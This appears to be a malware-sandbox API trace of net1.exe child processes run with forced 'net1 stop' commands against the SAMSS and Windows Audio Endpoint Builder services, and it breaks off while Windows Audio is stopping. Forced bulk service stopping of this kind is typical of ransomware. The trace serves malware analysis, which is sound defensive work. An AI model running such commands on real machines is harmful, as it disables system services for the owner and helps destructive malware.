	[0117.082] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0117.088] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0117.088] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0117.088] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0117.088] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ef990, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0117.088] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6e) returned 0x2bc060
	[0117.089] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0117.089] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1efbe8 | out: Buffer=0x1efbe8*=0x2b4d40) returned 0x0
	[0117.090] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1efbe8 | out: Buffer=0x1efbe8*=0x2bc0e0) returned 0x0
	[0117.090] _fileno (_File=0x7fefe122a80) returned 0
	[0117.090] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0117.091] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0117.091] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0117.091] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0117.092] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0117.092] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0117.092] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0117.092] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0117.092] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0117.092] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0117.092] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0117.092] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0117.093] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0117.093] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0117.093] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0117.093] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0117.093] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0117.093] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0117.094] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0117.094] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0117.094] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0117.094] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0117.094] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0117.095] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0117.095] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0117.095] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0117.095] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0117.095] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0117.095] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0117.095] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0117.095] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0117.097] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0117.097] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0117.097] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0117.097] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0117.097] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0117.097] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0117.097] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0117.097] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0117.097] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0117.098] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0117.098] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0117.098] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0117.098] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0117.098] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0117.098] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0117.098] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0117.098] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0117.099] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0117.099] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0117.099] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0117.099] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0117.099] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0117.099] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0117.099] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0117.099] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0117.099] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0117.100] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0117.100] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0117.100] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0117.100] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0117.100] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0117.100] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0117.100] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0117.100] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0117.100] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0117.101] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0117.102] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x2bcdf0
	[0117.336] GetServiceKeyNameW (in: hSCManager=0x2bcdf0, lpDisplayName="SAMSS", lpServiceName=0xffe05750, lpcchBuffer=0x1efb08 | out: lpServiceName="", lpcchBuffer=0x1efb08) returned 0
	[0117.339] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0117.339] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0117.339] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0117.339] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0117.339] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0117.339] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0117.339] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0117.339] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0117.339] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0117.339] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0117.339] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0117.339] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0117.340] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0117.340] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0117.340] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0117.340] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0117.340] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0117.340] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0117.340] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0117.340] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x1efb10 | out: bufptr=0x1efb10) returned 0x0
	[0117.502] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x1efac8 | out: Buffer=0x1efac8*=0x2c0c70) returned 0x0
	[0117.502] OpenServiceW (hSCManager=0x2bcdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x2bce50
	[0117.503] QueryServiceStatus (in: hService=0x2bce50, lpServiceStatus=0x1efa70 | out: lpServiceStatus=0x1efa70*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0117.504] NetApiBufferFree (Buffer=0x2c0c70) returned 0x0
	[0117.504] CloseServiceHandle (hSCObject=0x2bce50) returned 1
	[0117.505] wcscpy_s (in: _Destination=0xffe080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0117.505] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74580000
	[0117.508] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74580000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0117.512] GetFileType (hFile=0xb) returned 0x2
	[0117.513] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef968 | out: lpMode=0x1ef968) returned 1
	[0117.514] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x1ef960, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x1ef960*=0x47) returned 1
	[0117.517] GetFileType (hFile=0xb) returned 0x2
	[0117.518] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef968 | out: lpMode=0x1ef968) returned 1
	[0117.519] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffde1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ef960, lpReserved=0x0 | out: lpBuffer=0xffde1efc*, lpNumberOfCharsWritten=0x1ef960*=0x2) returned 1
	[0117.520] _ultow (in: _Dest=0x88f, _Radix=2030032 | out: _Dest=0x88f) returned="2191"
	[0117.520] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74580000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0117.520] GetFileType (hFile=0xb) returned 0x2
	[0117.521] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef968 | out: lpMode=0x1ef968) returned 1
	[0117.522] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1ef960, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x1ef960*=0x34) returned 1
	[0117.523] GetFileType (hFile=0xb) returned 0x2
	[0117.524] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1ef968 | out: lpMode=0x1ef968) returned 1
	[0117.524] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffde1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1ef960, lpReserved=0x0 | out: lpBuffer=0xffde1efc*, lpNumberOfCharsWritten=0x1ef960*=0x2) returned 1
	[0117.526] NetApiBufferFree (Buffer=0x2b4d40) returned 0x0
	[0117.526] NetApiBufferFree (Buffer=0x2bc0e0) returned 0x0
	[0117.526] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0117.526] exit (_Code=2) 

Process:
	id = "18"
	image_name = "net1.exe"
	filename = "c:\\windows\\system32\\net1.exe"
	page_root = "0x32184000"
	os_pid = "0xa78"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "10"
	os_parent_pid = "0xa84"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"audioendpointbuilder\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 101
	os_tid = 0x978

	[0116.529] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fbb0 | out: lpSystemTimeAsFileTime=0x28fbb0*(dwLowDateTime=0x174782d0, dwHighDateTime=0x1d5cdef)) 
	[0116.530] GetCurrentProcessId () returned 0xa78
	[0116.530] GetCurrentThreadId () returned 0x978
	[0116.530] GetTickCount () returned 0x1163e29
	[0116.530] QueryPerformanceCounter (in: lpPerformanceCount=0x28fbb8 | out: lpPerformanceCount=0x28fbb8*=25828269451) returned 1
	[0116.809] GetModuleHandleW (lpModuleName=0x0) returned 0xffde0000
	[0116.809] __set_app_type (_Type=0x1) 
	[0116.809] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffdf9c9c) returned 0x0
	[0116.809] __getmainargs (in: _Argc=0xffe04780, _Argv=0xffe04790, _Env=0xffe04788, _DoWildCard=0, _StartInfo=0xffe0479c | out: _Argc=0xffe04780, _Argv=0xffe04790, _Env=0xffe04788) returned 0
	[0116.810] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0116.810] GetConsoleOutputCP () returned 0x1b5
	[0116.811] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffe0cec0 | out: lpCPInfo=0xffe0cec0) returned 1
	[0116.811] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0116.818] sprintf_s (in: _DstBuf=0x28fb58, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0116.819] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0116.824] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0116.824] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0116.824] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"audioendpointbuilder\" /y"
	[0116.825] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28f8f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0116.825] RtlAllocateHeap (HeapHandle=0x460000, Flags=0x0, Size=0x8c) returned 0x47c090
	[0116.826] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0116.826] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x28fb48 | out: Buffer=0x28fb48*=0x474d60) returned 0x0
	[0116.826] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x28fb48 | out: Buffer=0x28fb48*=0x47c130) returned 0x0
	[0116.826] _fileno (_File=0x7fefe122a80) returned 0
	[0116.827] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0116.827] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0116.827] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0116.827] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0116.828] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0116.828] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0116.828] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0116.828] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0116.828] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0116.828] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0116.828] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0116.828] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0116.828] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0116.829] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0116.829] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0116.829] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0116.829] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0116.829] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0116.829] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0116.829] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0116.829] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0116.829] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0116.829] _wcsicmp (_String1="accounts", _String2="audioendpointbuilder") returned -18
	[0116.830] _wcsicmp (_String1="computer", _String2="audioendpointbuilder") returned 2
	[0116.830] _wcsicmp (_String1="config", _String2="audioendpointbuilder") returned 2
	[0116.830] _wcsicmp (_String1="continue", _String2="audioendpointbuilder") returned 2
	[0116.830] _wcsicmp (_String1="cont", _String2="audioendpointbuilder") returned 2
	[0116.830] _wcsicmp (_String1="file", _String2="audioendpointbuilder") returned 5
	[0116.830] _wcsicmp (_String1="files", _String2="audioendpointbuilder") returned 5
	[0116.830] _wcsicmp (_String1="group", _String2="audioendpointbuilder") returned 6
	[0116.830] _wcsicmp (_String1="groups", _String2="audioendpointbuilder") returned 6
	[0116.830] _wcsicmp (_String1="help", _String2="audioendpointbuilder") returned 7
	[0116.830] _wcsicmp (_String1="helpmsg", _String2="audioendpointbuilder") returned 7
	[0116.830] _wcsicmp (_String1="localgroup", _String2="audioendpointbuilder") returned 11
	[0116.831] _wcsicmp (_String1="pause", _String2="audioendpointbuilder") returned 15
	[0116.831] _wcsicmp (_String1="session", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="sessions", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="sess", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="share", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="start", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="stats", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="statistics", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="stop", _String2="audioendpointbuilder") returned 18
	[0116.831] _wcsicmp (_String1="time", _String2="audioendpointbuilder") returned 19
	[0116.831] _wcsicmp (_String1="user", _String2="audioendpointbuilder") returned 20
	[0116.831] _wcsicmp (_String1="users", _String2="audioendpointbuilder") returned 20
	[0116.832] _wcsicmp (_String1="msg", _String2="audioendpointbuilder") returned 12
	[0116.832] _wcsicmp (_String1="messenger", _String2="audioendpointbuilder") returned 12
	[0116.832] _wcsicmp (_String1="receiver", _String2="audioendpointbuilder") returned 17
	[0116.832] _wcsicmp (_String1="rcv", _String2="audioendpointbuilder") returned 17
	[0116.832] _wcsicmp (_String1="netpopup", _String2="audioendpointbuilder") returned 13
	[0116.832] _wcsicmp (_String1="redirector", _String2="audioendpointbuilder") returned 17
	[0116.832] _wcsicmp (_String1="redir", _String2="audioendpointbuilder") returned 17
	[0116.832] _wcsicmp (_String1="rdr", _String2="audioendpointbuilder") returned 17
	[0116.832] _wcsicmp (_String1="workstation", _String2="audioendpointbuilder") returned 22
	[0116.832] _wcsicmp (_String1="work", _String2="audioendpointbuilder") returned 22
	[0116.832] _wcsicmp (_String1="wksta", _String2="audioendpointbuilder") returned 22
	[0116.832] _wcsicmp (_String1="prdr", _String2="audioendpointbuilder") returned 15
	[0116.832] _wcsicmp (_String1="devrdr", _String2="audioendpointbuilder") returned 3
	[0116.832] _wcsicmp (_String1="lanmanworkstation", _String2="audioendpointbuilder") returned 11
	[0116.832] _wcsicmp (_String1="server", _String2="audioendpointbuilder") returned 18
	[0116.833] _wcsicmp (_String1="svr", _String2="audioendpointbuilder") returned 18
	[0116.833] _wcsicmp (_String1="srv", _String2="audioendpointbuilder") returned 18
	[0116.833] _wcsicmp (_String1="lanmanserver", _String2="audioendpointbuilder") returned 11
	[0116.833] _wcsicmp (_String1="alerter", _String2="audioendpointbuilder") returned -9
	[0116.833] _wcsicmp (_String1="netlogon", _String2="audioendpointbuilder") returned 13
	[0116.833] _wcsupr (in: _String="audioendpointbuilder" | out: _String="AUDIOENDPOINTBUILDER") returned="AUDIOENDPOINTBUILDER"
	[0116.834] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x47ce40
	[0117.113] GetServiceKeyNameW (in: hSCManager=0x47ce40, lpDisplayName="AUDIOENDPOINTBUILDER", lpServiceName=0xffe05750, lpcchBuffer=0x28fa68 | out: lpServiceName="", lpcchBuffer=0x28fa68) returned 0
	[0117.119] _wcsicmp (_String1="msg", _String2="AUDIOENDPOINTBUILDER") returned 12
	[0117.119] _wcsicmp (_String1="messenger", _String2="AUDIOENDPOINTBUILDER") returned 12
	[0117.120] _wcsicmp (_String1="receiver", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0117.120] _wcsicmp (_String1="rcv", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0117.120] _wcsicmp (_String1="redirector", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0117.120] _wcsicmp (_String1="redir", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0117.120] _wcsicmp (_String1="rdr", _String2="AUDIOENDPOINTBUILDER") returned 17
	[0117.120] _wcsicmp (_String1="workstation", _String2="AUDIOENDPOINTBUILDER") returned 22
	[0117.120] _wcsicmp (_String1="work", _String2="AUDIOENDPOINTBUILDER") returned 22
	[0117.120] _wcsicmp (_String1="wksta", _String2="AUDIOENDPOINTBUILDER") returned 22
	[0117.120] _wcsicmp (_String1="prdr", _String2="AUDIOENDPOINTBUILDER") returned 15
	[0117.120] _wcsicmp (_String1="devrdr", _String2="AUDIOENDPOINTBUILDER") returned 3
	[0117.120] _wcsicmp (_String1="lanmanworkstation", _String2="AUDIOENDPOINTBUILDER") returned 11
	[0117.121] _wcsicmp (_String1="server", _String2="AUDIOENDPOINTBUILDER") returned 18
	[0117.121] _wcsicmp (_String1="svr", _String2="AUDIOENDPOINTBUILDER") returned 18
	[0117.121] _wcsicmp (_String1="srv", _String2="AUDIOENDPOINTBUILDER") returned 18
	[0117.121] _wcsicmp (_String1="lanmanserver", _String2="AUDIOENDPOINTBUILDER") returned 11
	[0117.121] _wcsicmp (_String1="alerter", _String2="AUDIOENDPOINTBUILDER") returned -9
	[0117.121] _wcsicmp (_String1="netlogon", _String2="AUDIOENDPOINTBUILDER") returned 13
	[0117.123] NetServiceControl (in: servername=0x0, service="AUDIOENDPOINTBUILDER", opcode=0x0, arg=0x0, bufptr=0x28fa70 | out: bufptr=0x28fa70) returned 0x0
	[0117.753] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x28fa28 | out: Buffer=0x28fa28*=0x480cc0) returned 0x0
	[0117.753] OpenServiceW (hSCManager=0x47ce40, lpServiceName="AUDIOENDPOINTBUILDER", dwDesiredAccess=0xc) returned 0x47cea0
	[0117.754] QueryServiceStatus (in: hService=0x47cea0, lpServiceStatus=0x28f9d0 | out: lpServiceStatus=0x28f9d0*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0xc1, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0117.754] EnumDependentServicesW (in: hService=0x47cea0, dwServiceState=0x1, lpServices=0x480cc0, cbBufSize=0xfa0, pcbBytesNeeded=0x28fa20, lpServicesReturned=0x28fa18 | out: lpServices=0x480cc0*(lpServiceName="AudioSrv", lpDisplayName="Windows Audio", ServiceStatus.dwServiceType=0x20, ServiceStatus.dwCurrentState=0x4, ServiceStatus.dwControlsAccepted=0xc1, ServiceStatus.dwWin32ExitCode=0x0, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x28fa20, lpServicesReturned=0x28fa18) returned 1
	[0117.757] GetServiceDisplayNameW (in: hSCManager=0x47ce40, lpServiceName="AUDIOENDPOINTBUILDER", lpDisplayName=0xffe05350, lpcchBuffer=0x28f9a8 | out: lpDisplayName="Windows Audio Endpoint Builder", lpcchBuffer=0x28f9a8) returned 1
	[0117.758] wcscpy_s (in: _Destination=0xffe080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0117.758] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0117.760] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdca, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="The following services are dependent on the Windows Audio Endpoint Builder service.\r\nStopping the Windows Audio Endpoint Builder service will also stop these services.\r\n") returned 0xa9
	[0117.765] GetFileType (hFile=0x7) returned 0x2
	[0117.765] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f8e8 | out: lpMode=0x28f8e8) returned 1
	[0117.766] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0xa9, lpNumberOfCharsWritten=0x28f8e0, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x28f8e0*=0xa9) returned 1
	[0117.768] GetFileType (hFile=0x7) returned 0x2
	[0117.768] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f8e8 | out: lpMode=0x28f8e8) returned 1
	[0117.769] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffde1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f8e0, lpReserved=0x0 | out: lpBuffer=0xffde1efc*, lpNumberOfCharsWritten=0x28f8e0*=0x2) returned 1
	[0117.770] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="   %Fws", _ArgList=0x28f9a8 | out: _Buffer="   Windows Audio") returned 16
	[0117.771] GetFileType (hFile=0x7) returned 0x2
	[0117.771] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f978 | out: lpMode=0x28f978) returned 1
	[0117.772] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x10, lpNumberOfCharsWritten=0x28f970, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f970*=0x10) returned 1
	[0117.773] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0x28f9a8 | out: _Buffer="\r\n") returned 2
	[0117.773] GetFileType (hFile=0x7) returned 0x2
	[0117.774] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f978 | out: lpMode=0x28f978) returned 1
	[0117.774] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f970, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f970*=0x2) returned 1
	[0117.775] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format="\r\n", _ArgList=0x28f9a8 | out: _Buffer="\r\n") returned 2
	[0117.775] GetFileType (hFile=0x7) returned 0x2
	[0117.776] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f978 | out: lpMode=0x28f978) returned 1
	[0117.777] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe0aea0*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f970, lpReserved=0x0 | out: lpBuffer=0xffe0aea0*, lpNumberOfCharsWritten=0x28f970*=0x2) returned 1
	[0117.777] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x0, arg=0x0, bufptr=0x28f9b0 | out: bufptr=0x28f9b0) returned 0x0
	[0118.199] NetServiceControl (in: servername=0x0, service="AudioSrv", opcode=0x3, arg=0x0, bufptr=0x28f9b0 | out: bufptr=0x28f9b0) returned 0x0
	[0119.025] GetServiceDisplayNameW (in: hSCManager=0x47ce40, lpServiceName="AudioSrv", lpDisplayName=0xffe05350, lpcchBuffer=0x28f958 | out: lpDisplayName="Windows Audio", lpcchBuffer=0x28f958) returned 1
	[0119.025] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdc7, dwLanguageId=0x0, lpBuffer=0xffe05b50, nSize=0x800, Arguments=0xffe07f90 | out: lpBuffer="The Windows Audio service is stopping") returned 0x25
	[0119.025] GetFileType (hFile=0x7) returned 0x2
	[0119.026] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f898 | out: lpMode=0x28f898) returned 1
	[0119.027] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xffe05b50*, nNumberOfCharsToWrite=0x25, lpNumberOfCharsWritten=0x28f890, lpReserved=0x0 | out: lpBuffer=0xffe05b50*, lpNumberOfCharsWritten=0x28f890*=0x25) returned 1
	[0119.028] _vsnwprintf_s (in: _Buffer=0xffe0aea0, _BufferCount=0x1001, _MaxCount=0x1000, _Format=".", _ArgList=0x28f958 | out: _Buffer=".") returned 1
	[0119.028] GetFileType (hFile=0x7) returned 0x2
	[0119.029] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f928 | out: lpMode=0x28f928) returned 1
